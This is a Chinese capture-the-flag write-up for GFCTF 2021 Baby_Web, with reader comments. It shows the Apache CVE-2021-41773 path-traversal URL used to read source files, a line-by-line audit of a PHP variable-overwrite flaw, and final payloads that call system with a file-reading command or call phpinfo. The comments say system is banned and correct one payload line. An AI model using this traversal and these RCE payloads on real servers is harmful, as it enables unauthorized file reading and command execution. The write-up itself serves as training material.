0%

[GFCTF 2021]Baby_Web R4iny13lueB311的WriteUp

2024-01-04 02:23By
R4iny13lueB311
变量覆盖PHP代码审计WEBCVE-2021-41773

Problem: [GFCTF 2021]Baby_Web

[[toc]]

CVE-2021-41773

/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/index.php.txt

读取到源码

<h1>Welcome To GFCTF 12th!!</h1> <?php error_reporting(0); define("main","main"); include "Class.php"; $temp = new Temp($_POST); $temp->display($_GET['filename']); ?>

读取Class.php看下

/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/Class.php.txt

<?php defined('main') or die("no!!"); Class Temp{ private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg']; private $template; public function __construct($data){ $this->date = array_merge($this->date,$data); } public function getTempName($template,$dir){ if($dir === 'admin'){ $this->template = str_replace('..','','./template/admin/'.$template); if(!is_file($this->template)){ die("no!!"); } } else{ $this->template = './template/index.html'; } } public function display($template,$space=''){ extract($this->date); $this->getTempName($template,$space); include($this->template); } public function listdata($_params){ $system = [ 'db' => '', 'app' => '', 'num' => '', 'sum' => '', 'form' => '', 'page' => '', 'site' => '', 'flag' => '', 'not_flag' => '', 'show_flag' => '', 'more' => '', 'catid' => '', 'field' => '', 'order' => '', 'space' => '', 'table' => '', 'table_site' => '', 'total' => '', 'join' => '', 'on' => '', 'action' => '', 'return' => '', 'sbpage' => '', 'module' => '', 'urlrule' => '', 'pagesize' => '', 'pagefile' => '', ]; $param = $where = []; $_params = trim($_params); $params = explode(' ', $_params); if (in_array($params[0], ['list','function'])) { $params[0] = 'action='.$params[0]; } foreach ($params as $t) { $var = substr($t, 0, strpos($t, '=')); $val = substr($t, strpos($t, '=') + 1); if (!$var) { continue; } if (isset($system[$var])) { $system[$var] = $val; } else { $param[$var] = $val; } } // action switch ($system['action']) { case 'function': if (!isset($param['name'])) { return 'hacker!!'; } elseif (!function_exists($param['name'])) { return 'hacker!!'; } $force = $param['force']; if (!$force) { $p = []; foreach ($param as $var => $t) { if (strpos($var, 'param') === 0) { $n = intval(substr($var, 5)); $p[$n] = $t; } } if ($p) { $rt = call_user_func_array($param['name'], $p); } else { $rt = call_user_func($param['name']); } return $rt; }else{ return null; } case 'list': return json_encode($this->date); } return null; } }

是块代码审计硬骨头。index.php实例化了Temp对象,向构造方法传入POST的变量,调用display方法传get参数filename

Class.php用的array_merge()存在变量覆盖特性

1、合并一个或多个数组.合并后参数2数组的内容附加在参数1之后。同时如果参数1、2数组中有相同的字符串键名 2、则合并后为参数2数组中对应键的值,发生了覆盖。//注意,会造成变量覆盖 3、然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。 4、如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。
<?php $array1 = array("color" => "red", 2, 4); $array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4); $result = array_merge($array1, $array2); print_r($result); ?> /** Array ( [color] => green [0] => 2 [1] => 4 [2] => a [3] => b [shape] => trapezoid [4] => 4 ) **/

display()实现如下:

public function display($template,$space=''){ extract($this->date); $this->getTempName($template,$space); include($this->template); }

跟进getTempName()

public function getTempName($template,$dir){ if($dir === 'admin'){ $this->template = str_replace('..','','./template/admin/'.$template); if(!is_file($this->template)){ die("no!!"); } } else{ $this->template = './template/index.html'; } }

前期准备扫目录时发现了/template/admin路径,调用的listdata方法,跟进

public function listdata($_params){ $system = ['db' => '', 'app' => '', 'num' => '', 'sum' => '', 'form' => '', 'page' => '', 'site' => '', 'flag' => '', 'not_flag' => '', 'show_flag' => '', 'more' => '', 'catid' => '', 'field' => '', 'order' => '', 'space' => '', 'table' => '', 'table_site' => '', 'total' => '', 'join' => '', 'on' => '', 'action' => '', 'return' => '', 'sbpage' => '', 'module' => '', 'urlrule' => '', 'pagesize' => '', 'pagefile' => '',]; $param = $where = []; //去除字符串首尾处的空白字符 $_params = trim($_params); //使用一个字符串分割另一个字符串,代码中以空格为分割,将$_params属性分割成一个数组$params[],比如说原来$_params="zhi shi xue bao",经过explode函数处理后变为$params=["zhi","shi","xue","bao"] $params = explode(' ', $_params); //检查数组中是否存在某个值 if (in_array($params[0], ['list','function'])) { $params[0] = 'action='.$params[0]; } //遍历给定的 params 数组 foreach ($params as $t) { //substr:返回字符串的子串,第一个参数是“母串”,第二个参数是起始位置,第三个参数是长度。如果没有第三个参数就意味着从起始位置截取到最后。 //strpos:查找字符串首次出现的位置 //$var为$t中等号前的所有。 //$val为$t中等号后的所有。 $var = substr($t, 0, strpos($t, '=')); $val = substr($t, strpos($t, '=') + 1); //即$t不是“xxx=xxx”形式,而是“xxx”形式 if (!$var) { continue; } if (isset($system[$var])) { $system[$var] = $val; } else { $param[$var] = $val; } } // action switch ($system['action']) { case 'function'://111 //$param['name']存在 if (!isset($param['name'])) { return 'hacker!!'; //function_exists():如果给定的函数已经被定义就返回TRUE //即$param['name']作为函数已经被定义 } elseif (!function_exists($param['name'])) { return 'hacker!!'; } $force = $param['force']; if (!$force) { $p = []; foreach ($param as $var => $t) { if (strpos($var, 'param') === 0) { //intval:获取变量的整数值 $n = intval(substr($var, 5)); $p[$n] = $t; } } if ($p) { //call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数 $rt = call_user_func_array($param['name'], $p); } else { //call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。 $rt = call_user_func($param['name']); } return $rt; }else{ return null; } case 'list'://222 //将$this->date进行json格式的编码,并且输出 return json_encode($this->date); } return null; }

上面的东西有点太繁杂,需要整理一下,接下来这段内容需要和代码同步着看,否则一定会头昏脑涨。

首先在index里传get参数filename就会执行display,经过extract执行getTempName最后include该template

在/template/admin/路由下存在一个listdata方法,里面有call_user_func_array()call_user_func(),利用后者的话,就要调用listdata,所以在template/admin/index.html路由下,为了顺利走完getTempName从而为利用后面的漏洞函数做准备,第一步要先让$dir==='admin'为true,我们可以控制space=admin。为什么呢?因为构造方法__construct接收的就是我们POST进去的参数,在这里传入,然后通过里面的array_merge完成我们的赋值,这样dir就会等于admin,就可以继续往下走了。至于为什么dir可以是space,这很简单,在display函数实现的地方形参的名字是space,在getTempName函数实现的地方,第二个形参是dir:

public function display($template,$space='') public function getTempName($template,$dir)

我们可以稍加留意下listdata里面的system数组中的一大堆键名。

接着讲怎么走到漏洞函数,除了dir==admin,另一个条件是template=index.html,是html文件,因为我们进入了第一个if之后紧接着就来到了

if(!is_file($this->template))

那么我们的template是文件,就可以不进入里面的die了,也就是顺利执行了getTempName。怎么控制template=index.html呢?别忘了在index.php里面有这样一句

$temp->display($_GET['filename']);

那我们就可以get传filename=index.html了。至此,初步的赋值完成,来细细的啃listdata:

最终要走进这里实现rce

if ($p) { $rt = call_user_func_array($param['name'], $p); } else { $rt = call_user_func($param['name']); } return $rt;

如果带$p玩,那么就相当于要执行system('ls')这样的,如果不带,就执行无参的函数phpinfo(),理解了第一种,第二种就相当于把跟$p相关的处理无视掉就可以了。

我们要的是,$param['name']=system,先纵观整个switch语句,首先action=function,才有后续的内容,这是我们需要控制的一个地方。接着走,需要绕过第一个

if(!isset($param['name']))

这和我们的目的殊途同归,所以无视之,走进

elseif(!function_exists($param['name']))那么phpinfo是内置的函数,肯定是定义了的,也可以顺利通过。接下来,到了

$force=$param['force']; if(!force){ ... }

那我们要让force=false,才有后续。继续,定义了数组p,遍历param里的值,赋给循环中的t,接着一个if(strpos($var,'param')===0)此处保证的是$var='param0xxxxx',通过下面的intval(substr($var,5)),也就是intval('0xxxxx')导致$n=0,下一句就是$p[$n]=$t;,所以$p[0]=$t;

其中的$t,就是我们可以控制的$var=cmd

那么param的前身是个空数组,通过的是foreach($params as $t)进入一个if循环里赋值得来的。所以再去找$params,那么listdata传入的形参叫做$_params,通过trim()进行分割得到的。而trim函数就是用空格来分割的,所以我们最终传入的$_params想要分割就用空格,接着走到一个if语句

if(in_array($params[0],['list','function'])){ $params[0]='action='.$params[0]; }

我们从先前的action就可以知道,$params[0]其实要么是list要么是function,所以这里$params[0]最终一定会在前面加上一个action=

目前来看,我们要的是$_params=function name=system force=false param0xxxx=phpinfo

继续走,我们到template/admin/index.html里,发现页面是这样回显的:

listdata("action=list module = $mod");?>

这就有意思了,服务器这该死的设计让我们的第一个action强行等于list!,只留下一个module = $mod是我们可控的,那我们最终的payload会变成这样:

$mod=xxxx action=function name=system force=false param0xxxx=cmd

这其实没有关系,要的是一个变量覆盖,该调用调用,所以最终payload就是

?filename=index.html POST: space=admin&mod=xxx action=function name=phpinfo

或者

?filename=index.html POST: space=admin&mod=xxx action=function name=system param=cat${IFS}/f*>/var/www/html/a
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论

system等命令执行函数被ban了,这里name=system还是过不了elseif (!function_exists($param['name']))

确实

目前来看,我们要的是$_params=function name=system force=false param0xxxx=phpinfo
这里有误,应是
目前来看,我们要的是$_params=function name=system force=false param0xxxx=ls

$_params=function name=phpinfo force=false